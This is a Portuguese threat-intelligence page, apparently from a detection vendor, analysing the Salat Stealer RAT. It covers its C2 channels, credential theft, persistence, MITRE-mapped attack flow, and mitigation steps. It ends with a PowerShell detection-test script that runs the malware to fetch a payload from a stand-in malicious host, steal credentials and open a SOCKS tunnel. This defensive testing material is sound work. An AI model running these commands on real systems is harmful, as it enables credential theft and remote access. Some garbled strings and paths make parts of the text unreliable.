SOC Prime Bias: Médio

07 Mai 2026 18:58

Análise do Salat Stealer: Resiliência em C2 Baseado em Go e Capacidades de Roubo de Informações

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Análise do Salat Stealer: Resiliência em C2 Baseado em Go e Capacidades de Roubo de Informações
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Salat Stealer é um trojan de acesso remoto baseado em Go que funciona como uma estrutura completa de pós-exploração. Ele suporta múltiplos canais de comunicação, incluindo WebSocket, HTTP/2, HTTP/3 e QUIC, oferecendo aos operadores opções flexíveis e resilientes de comando e controle. O malware também inclui amplas capacidades de roubo de credenciais, visando dados de navegador, carteiras de criptomoedas, pressionamentos de tecla, capturas de tela e pivoteamento de rede através de SOCKS5. Para sobreviver a reinicializações, ele utiliza cópias de arquivos ocultas, tarefas agendadas e uma chave de registro Run. Se sua infraestrutura primária for interrompida, o malware pode recuperar detalhes atualizados de comando e controle através do blockchain TON.

Investigação

A análise explica como o malware deriva as chaves de criptografia a partir de strings estáticas combinadas com o nome do host da vítima, para depois usá-las para descriptografar cinco URLs de comando e controle incorporadas. Os pesquisadores também documentaram como o Salat Stealer seleciona seu protocolo de transporte, processa comandos do operador, tenta a escalada de privilégios e implanta múltiplos métodos de persistência no host. O relatório ainda delineia a gama de dados roubados e as funções mais amplas de acesso remoto disponíveis para o atacante.

Mitigação

Os defensores devem monitorar conexões para as URLs de comando e controle identificadas, bem como tráfego inesperado de QUIC e WebSocket para destinos desconhecidos. As equipes de segurança também devem ficar atentas a tarefas agendadas ocultas e entradas de chave Run suspeitas que apontem para executáveis desconhecidos. Listagem de aplicações permitidas e controles de execução rigorosos podem ajudar a prevenir a execução da carga útil baseada em Go. A segmentação da rede e a inspeção de TLS podem ainda melhorar a visibilidade do tráfego de saída suspeito associado ao malware.

Resposta

Se a atividade do Salat Stealer for detectada, isole imediatamente o sistema afetado, colete imagens de memória e disco e termine os processos maliciosos. Remova todos os artefatos de persistência, incluindo tarefas agendadas, entradas de chave Run e cópias de arquivos ocultas usadas pelo malware. Os domínios de comando e controle identificados devem ser bloqueados, junto com quaisquer buscas relacionadas ao blockchain TON usadas para descoberta de infraestrutura de fallback. Credenciais expostas e carteiras de criptomoedas também devem ser rotacionadas ou protegidas sem demora.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Malware definition malware_salatr["<b>Malware</b> – <b>Name</b>: Salat Stealer (Go RAT)<br/><b>Description</b>: Trojan de acesso remoto baseado em Go usado para roubo, persistência e movimento lateral."] class malware_salatr malware %% Initial execution process process_start["<b>Processo</b> – <b>Nome</b>: SalatStealer.exe<br/><b>Ação</b>: Inicia, recupera seu próprio caminho, verifica instância existente, pode contornar UAC.<br/><b>Técnica</b>: T1548.002 Contornar Controle de Conta de Usuário<br/><b>Técnica</b>: T1027.008 Arquivos Ofuscados/Armazenados"] class process_start process malware_salatr –>|executa| process_start %% Persistence mechanisms persistence_task["<b>Ação</b> – <b>T1053.005 Tarefa Agendada</b>: Cria tarefa agendada oculta com nome mascarado (explorer.exe)."] class persistence_task action persistence_reg["<b>Ação</b> – <b>T1547.001 Chaves de Registro Run / Pasta de Inicialização</b>: Entrada HKCURun usando nome disfarçado (svchost.exe)."] class persistence_reg action process_start –>|cria| persistence_task process_start –>|cria| persistence_reg %% Defense evasion defense_evasion["<b>Ação</b> – <b>T1027 Arquivos Ofuscados</b>: Seisuo2011modo de ofuscação de string e derivação de chave peru2011máquina."] class defense_evasion action process_start –>|aplica| defense_evasion %% System discovery discovery["<b>Ação</b> – <b>T1082 Descoberta de Informações do Sistema</b>: Coleta SO, CPU, GPU, RAM, título da janela ativa, status de administrador e constrói um identificador de agente."] class discovery action process_start –>|executa| discovery %% Credential access credential_access["<b>Ação</b> – <b>T1555.003 Credenciais de Navegadores Web</b>: Despeja navegadores Chromium, Firefox, Discord, Steam e senhas criptografadas com DPAPIu2011.<br/><b>Técnicas adicionais</b>: T1056.001 Keylogging, T1115 Dados da Área de Transferência."] class credential_access action process_start –>|executa| credential_access %% Collection of data collection["<b>Ação</b> – <b>T1113 Captura de Tela</b>, <b>T1125 Captura de Vídeo</b>, <b>T1560.001 Arquivo via Utilitário</b>: Captura tela, vídeo da webcam e arquiva dados em arquivos ZIP."] class collection action credential_access –>|coleta| collection %% Command and control c2["<b>Ação</b> – <b>T1071.005 WebSocket</b> e <b>T1071.001 Protocolo Web</b>: Comunica-se via QUIC/WebSocket com URLs criptografadas; recai para endpoints alternativos e blockchain TON.<br/><b>Técnica</b>: T1008 Canais de Fallback"] class c2 action collection –>|exfiltra via| c2 %% Exfiltration exfiltration["<b>Ação</b> – <b>T1041 Exfiltração Sobre Canal C2</b>, <b>T1048 Exfiltração Sobre Protocolo Alternativo</b>, <b>T1020 Exfiltração Automatizada</b>: Envia dados arquivados e credenciais roubadas."] class exfiltration action c2 –>|envia dados| exfiltration %% Execution of remote commands command_exec["<b>Ação</b> – <b>T1059.003 Shell de Comando do Windows</b>: Recebe e executa instruções da linha de comando do atacante.<br/><b>Técnica</b>: T1090.001 Proxy SOCKS5 para tunelamento."] class command_exec action exfiltration –>|recebe comandos| command_exec %% Lateral movement via proxy lateral["<b>Ação</b> – <b>T1090.001 Proxy (SOCKS5)</b>: Estabelece túnel SOCKS5 interno para pivoteamento e movimento lateral."] class lateral action command_exec –>|estabelece| lateral "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria e Linha de Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e os narrativos DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa e Comandos do Ataque:
    Um adversário entregou o binário Salat RAT (salat.exe) ao host vítima via um anexo de phishing. Depois de obter uma base de baixo privilégio, o atacante executa o binário com argumentos específicos para:

    1. Baixar uma carga útil secundáriamain.downloadFile https://malicious.example.com/payload.exe.
    2. Roubar credenciais armazenadasmain.Steal -module credentials.
    3. Estabelecer um túnel SOCKS peer-to-peer para movimento lateralmain.p2pSocks -listen 1080 -remote 10.0.0.5:4444.

    O binário é lançado de uma sessão PowerShell elevada para satisfazer o requisito de elevação (T1548). Cada invocação aparece como uma criação de processo Sysmon distinta com a linha de comando correspondente, satisfazendo a correspondência de string da regra Sigma.

  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Script de simulação do Salat RAT - aciona a detecção
    # -------------------------------------------------
    $binaryPath = "C:Tempsalat.exe"
    
    # Garantir que o binário existe (placeholder - em um teste real o binário seria pré-estagiado)
    if (-Not (Test-Path $binaryPath)) {
        Write-Error "Binário Salat não encontrado em $binaryPath"
        exit 1
    }
    
    # 1. Baixar carga útil secundária
    Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait
    
    # 2. Roubar credenciais
    Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait
    
    # 3. Abrir o túnel P2P SOCKS
    Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait
    
    Write-Host "Simulação concluída."
  • Comandos de Limpeza:

    # -------------------------------------------------
    # Limpeza para simulação do Salat RAT
    # -------------------------------------------------
    # Terminar quaisquer processos Salat remanescentes
    Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Remover o binário (se permitido)
    $binaryPath = "C:Tempsalat.exe"
    if (Test-Path $binaryPath) {
        Remove-Item $binaryPath -Force
        Write-Host "Removido $binaryPath"
    }
    
    # Opcionalmente limpar eventos Sysmon relacionados do índice de teste (exemplo Splunk)
    # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'